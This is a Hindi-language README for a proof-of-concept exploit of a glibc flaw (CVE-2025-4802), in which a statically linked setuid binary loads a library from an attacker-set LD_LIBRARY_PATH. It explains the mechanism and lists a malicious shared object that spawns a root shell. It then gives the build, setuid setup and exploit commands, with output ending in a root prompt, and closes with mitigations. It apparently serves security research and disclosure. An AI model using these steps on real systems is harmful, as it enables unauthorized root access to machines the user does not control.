
एक स्थैतिक रूप से संकलित setuid बाइनरी के लिए प्रूफ़ ऑफ़ कॉन्सेप्ट जो LD_LIBRARY_PATH के साथ dlopen के प्रति कमज़ोर है
⚠️ अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। इस शोषण का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है। दुरुपयोग कानूनों और नियमों का उल्लंघन कर सकता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2025-4802 |
| प्रभावित सॉफ़्टवेयर | GNU C Library (glibc) |
| प्रभावित संस्करण | 2.27 – 2.38 |
| कमजोरी का प्रकार | अविश्वसनीय LD_LIBRARY_PATH के माध्यम से विशेषाधिकार वृद्धि |
| आक्रमण वेक्टर | स्थानीय |
GNU C Library (glibc) के संस्करण 2.27 से 2.38 में एक कमजोरी एक हमलावर को स्टैटिकली कम्पाइल्ड setuid बाइनरीज़ में LD_LIBRARY_PATH पर्यावरण चर का शोषण करने की अनुमति देती है जो dlopen() को कॉल करती हैं।
सामान्यतः, डायनेमिक लिंकर setuid प्रोग्रामों के लिए LD_LIBRARY_PATH को सैनिटाइज़ करता है। हालांकि, स्टैटिकली कम्पाइल्ड बाइनरीज़ पूरी तरह से डायनेमिक लिंकर को बायपास कर देती हैं, इसलिए LD_LIBRARY_PATH कभी साफ़ नहीं किया जाता। जब ऐसी बाइनरी dlopen() (सीधे, या अप्रत्यक्ष रूप से setlocale() या getaddrinfo() जैसे NSS फ़ंक्शनों के माध्यम से) को कॉल करती है, तो glibc हमलावर-नियंत्रित LD_LIBRARY_PATH का उपयोग करके शेयर्ड लाइब्रेरीज़ को हल करता है, जिससे उच्च विशेषाधिकारों के साथ मनमाना कोड निष्पादन संभव होता है।
dlopen("myso.so", ...) को कॉल करती है (पूर्ण पथ नहीं)।ld-linux.so) कभी नहीं चलता, इसलिए LD_LIBRARY_PATH सैनिटाइज़ नहीं किया जाता।myso.so) बनाता है जो समान hello() सिंबल एक्सपोर्ट करता है लेकिन रूट शेल स्पॉन करता है।LD_LIBRARY_PATH को उस निर्देशिका की ओर सेट करता है जिसमें दुर्भावनापूर्ण लाइब्रेरी है।.
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version से जांचें)gcc, makemake all
या मैन्युअल रूप से:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
अपेक्षित आउटपुट:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH के साथ शोषण (दुर्भावनापूर्ण व्यवहार)LD_LIBRARY_PATH=./evil_library ./main
अपेक्षित आउटपुट:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
बाइनरी वैध लाइब्रेरी के बजाय evil_library/ से हमलावर का myso.so लोड करती है, जिससे एक रूट शेल स्पॉन होता है।

एक वीडियो वॉकथ्रू भी उपलब्ध है: proof_of_concept_video.mp4
dlopen() का उपयोग करती हैंdlopen() कॉल में केवल लाइब्रेरी नाम के बजाय पूर्ण पथ का उपयोग करेंdlopen() को कॉल करने से पहले विशेषाधिकार छोड़ें